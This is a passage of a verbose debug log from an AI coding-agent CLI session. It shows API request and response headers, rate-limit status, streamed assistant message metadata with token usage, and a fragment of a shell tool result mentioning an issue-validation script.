...],\n[2026-09-29T07:47:22.107Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:22.111Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:22.115Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:22.121Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:22.130Z] [STDOUT]     },\n[2026-09-29T07:47:22.133Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:22.138Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:22.142Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:22.145Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:22.148Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:22.150Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:22.155Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:22.160Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:22.164Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:22.168Z] [STDOUT]     },\n[2026-09-29T07:47:22.172Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:22.178Z] [STDOUT]   },\n[2026-09-29T07:47:22.183Z] [STDOUT]   headers: {\n[2026-09-29T07:47:22.187Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:22.192Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:22.197Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:22.203Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:22.206Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:22.210Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:22.223Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:22.230Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:22.233Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:22.236Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1479\",\n[2026-09-29T07:47:22.240Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:22.243Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:22.246Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:22.256Z] [STDOUT]     \"x-client-request-id\": \"a0cafc8e-6746-4631-b196-dc9e3748b55a\",\n[2026-09-29T07:47:22.262Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:22.265Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:22.272Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:22.275Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:22.278Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:22.281Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:22.284Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:22.286Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:22.289Z] [STDOUT]   },\n[2026-09-29T07:47:22.292Z] [STDOUT] }\n[2026-09-29T07:47:22.792Z] [STDOUT] [log_481b77, request-id: \"req_011CfXMuQ4MCHkVjBmB3GgVa\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 786ms\n[2026-09-29T07:47:22.801Z] [STDOUT] [log_481b77] response start {\n[2026-09-29T07:47:22.812Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:22.817Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:22.837Z] [STDOUT]   headers: {\n[2026-09-29T07:47:22.847Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:22.851Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:22.858Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:22.862Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:22.866Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:22.870Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:22.872Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:22.876Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:22.881Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:22.885Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:22.890Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:22.892Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:22.897Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:22.903Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:22.906Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:22.909Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:22.914Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:22.926Z] [STDOUT]     \"cf-ray\": \"a429611e89dadbb5-FRA\",\n[2026-09-29T07:47:22.931Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:22.933Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:22.940Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:22.946Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:22.951Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:22 GMT\",\n[2026-09-29T07:47:22.957Z] [STDOUT]     \"request-id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\",\n[2026-09-29T07:47:22.962Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:22.967Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:22.972Z] [STDOUT]     traceresponse: \"00-99fcc125aa5b07a8a649b67a8b59ff1c-83760949f589bb9a-01\",\n[2026-09-29T07:47:22.976Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:22.978Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:22.980Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:22.983Z] [STDOUT]   },\n[2026-09-29T07:47:22.985Z] [STDOUT]   durationMs: 786,\n[2026-09-29T07:47:22.988Z] [STDOUT] }\n[2026-09-29T07:47:22.995Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:22.998Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:22 GMT\",\n[2026-09-29T07:47:23.002Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:23.009Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:23.013Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:23.017Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:23.023Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:23.026Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:23.029Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:23.031Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:23.035Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:23.048Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:23.059Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:23.064Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:23.068Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:23.073Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:23.076Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:23.080Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:23.083Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:23.088Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:23.092Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:23.098Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:23.105Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:23.107Z] [STDOUT]   \"request-id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\",\n[2026-09-29T07:47:23.110Z] [STDOUT]   \"traceresponse\": \"00-99fcc125aa5b07a8a649b67a8b59ff1c-83760949f589bb9a-01\",\n[2026-09-29T07:47:23.113Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:23.121Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:23.126Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:23.131Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:23.134Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:23.138Z] [STDOUT]   \"cf-ray\": \"a429611e89dadbb5-FRA\",\n[2026-09-29T07:47:23.143Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:23.146Z] [STDOUT] [log_481b77] response parsed {\n[2026-09-29T07:47:23.151Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:23.156Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:23.159Z] [STDOUT]   body: X {\n[2026-09-29T07:47:23.161Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:23.166Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:23.169Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:23.173Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:23.181Z] [STDOUT]     },\n[2026-09-29T07:47:23.186Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:23.191Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:23.193Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:23.197Z] [STDOUT]   },\n[2026-09-29T07:47:23.203Z] [STDOUT]   durationMs: 788,\n[2026-09-29T07:47:23.206Z] [STDOUT] }\n[2026-09-29T07:47:23.685Z] [INFO] {\n[2026-09-29T07:47:23.685Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"message\": {\n[2026-09-29T07:47:23.685Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"id\": \"msg_011CfXMuQV9aNJEsuSnw5Bx9\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"content\": [\n[2026-09-29T07:47:23.685Z] [INFO]       {\n[2026-09-29T07:47:23.685Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:23.685Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:23.685Z] [INFO]         \"signature\": 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null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:23.685Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:23.685Z] [INFO]       \"cache_creation_input_tokens\": 929,\n[2026-09-29T07:47:23.685Z] [INFO]       \"cache_read_input_tokens\": 51089,\n[2026-09-29T07:47:23.685Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:23.685Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:23.685Z] [INFO]         \"ephemeral_1h_input_tokens\": 929\n[2026-09-29T07:47:23.685Z] [INFO]       },\n[2026-09-29T07:47:23.685Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:47:23.685Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:23.685Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:23.685Z] [INFO]     },\n[2026-09-29T07:47:23.685Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:23.685Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:23.685Z] [INFO]   },\n[2026-09-29T07:47:23.685Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:23.685Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"uuid\": \"0e198ab0-e917-40e2-8c26-ba98018aea26\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:23.680Z\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"request_id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\"\n[2026-09-29T07:47:23.685Z] [INFO] }\n[2026-09-29T07:47:24.561Z] [INFO] {\n[2026-09-29T07:47:24.561Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"message\": {\n[2026-09-29T07:47:24.561Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:24.561Z] [INFO]     \"id\": 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{\n[2026-09-29T07:47:24.561Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:24.561Z] [INFO]         }\n[2026-09-29T07:47:24.561Z] [INFO]       }\n[2026-09-29T07:47:24.561Z] [INFO]     ],\n[2026-09-29T07:47:24.561Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:24.561Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:24.561Z] [INFO]       \"cache_creation_input_tokens\": 929,\n[2026-09-29T07:47:24.561Z] [INFO]       \"cache_read_input_tokens\": 51089,\n[2026-09-29T07:47:24.561Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:24.561Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:24.561Z] [INFO]         \"ephemeral_1h_input_tokens\": 929\n[2026-09-29T07:47:24.561Z] [INFO]       },\n[2026-09-29T07:47:24.561Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:47:24.561Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:24.561Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:24.561Z] [INFO]     },\n[2026-09-29T07:47:24.561Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:24.561Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:24.561Z] [INFO]   },\n[2026-09-29T07:47:24.561Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:24.561Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"uuid\": \"f12d6ac8-8852-40ed-883e-9bde575c5425\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:24.554Z\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"request_id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"wire_tool_inputs\": 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2026-09-28\\n  - scripts/validate_issue_365_run.py\",\n[2026-09-29T07:47:25.945Z] [INFO]     \"stderr\": \"\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:47:25.945Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:25.945Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:25.945Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:25.945Z] [INFO]   }\n[2026-09-29T07:47:25.945Z] [INFO] }\n[2026-09-29T07:47:25.980Z] [STDOUT] [log_f5cfda] sending request {\n[2026-09-29T07:47:25.983Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:25.985Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:25.987Z] [STDOUT]   options: {\n[2026-09-29T07:47:25.990Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:25.993Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:25.997Z] [STDOUT]     body: {\n[2026-09-29T07:47:25.999Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:26.003Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:26.006Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:26.010Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:26.014Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:26.016Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:26.020Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:26.023Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:26.026Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:26.030Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:26.034Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:26.038Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:26.042Z] [STDOUT]     },\n[2026-09-29T07:47:26.045Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:26.048Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:26.051Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:26.055Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:26.061Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:26.065Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:26.069Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:26.073Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:26.078Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:26.081Z] [STDOUT]     },\n[2026-09-29T07:47:26.083Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:26.089Z] [STDOUT]   },\n[2026-09-29T07:47:26.098Z] [STDOUT]   headers: {\n[2026-09-29T07:47:26.102Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:26.112Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:26.118Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:26.124Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:26.128Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:26.132Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:26.136Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:26.138Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:26.143Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:26.147Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1373\",\n[2026-09-29T07:47:26.151Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:26.154Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:26.158Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:26.162Z] [STDOUT]     \"x-client-request-id\": \"a678960c-31ec-4f70-be63-683dfe8bfb33\",\n[2026-09-29T07:47:26.164Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:26.167Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:26.170Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:26.173Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:26.175Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:26.181Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:26.184Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:26.192Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:26.194Z] [STDOUT]   },\n[2026-09-29T07:47:26.199Z] [STDOUT] }\n[2026-09-29T07:47:26.830Z] [STDOUT] [log_f5cfda, request-id: \"req_011CfXMuh4HkK83adz9zkiAR\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 850ms\n[2026-09-29T07:47:26.834Z] [STDOUT] [log_f5cfda] response start {\n[2026-09-29T07:47:26.837Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:26.839Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:26.841Z] [STDOUT]   headers: {\n[2026-09-29T07:47:26.843Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:26.846Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:26.850Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:26.854Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:26.857Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:26.860Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:26.863Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:26.867Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:26.871Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:26.876Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:26.879Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:26.884Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:26.887Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:26.890Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:26.893Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:26.895Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:26.898Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:26.900Z] [STDOUT]     \"cf-ray\": \"a42961376c9cdbb5-FRA\",\n[2026-09-29T07:47:26.903Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:26.905Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:26.908Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:26.911Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:26.916Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:26 GMT\",\n[2026-09-29T07:47:26.922Z] [STDOUT]     \"request-id\": \"req_011CfXMuh4HkK83adz9zkiAR\",\n[2026-09-29T07:47:26.925Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:26.930Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:26.942Z] [STDOUT]     traceresponse: \"00-856bdc37e0a36cf446d7371ba5766532-91f3d586d4dfa1dd-01\",\n[2026-09-29T07:47:26.954Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:26.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:26.966Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:26.973Z] [STDOUT]   },\n[2026-09-29T07:47:26.975Z] [STDOUT]   durationMs: 850,\n[2026-09-29T07:47:26.980Z] [STDOUT] }\n[2026-09-29T07:47:26.986Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:26.992Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:26 GMT\",\n[2026-09-29T07:47:26.995Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:26.997Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:27.001Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:27.004Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:27.010Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:27.012Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:27.042Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:27.047Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:27.052Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:27.057Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": 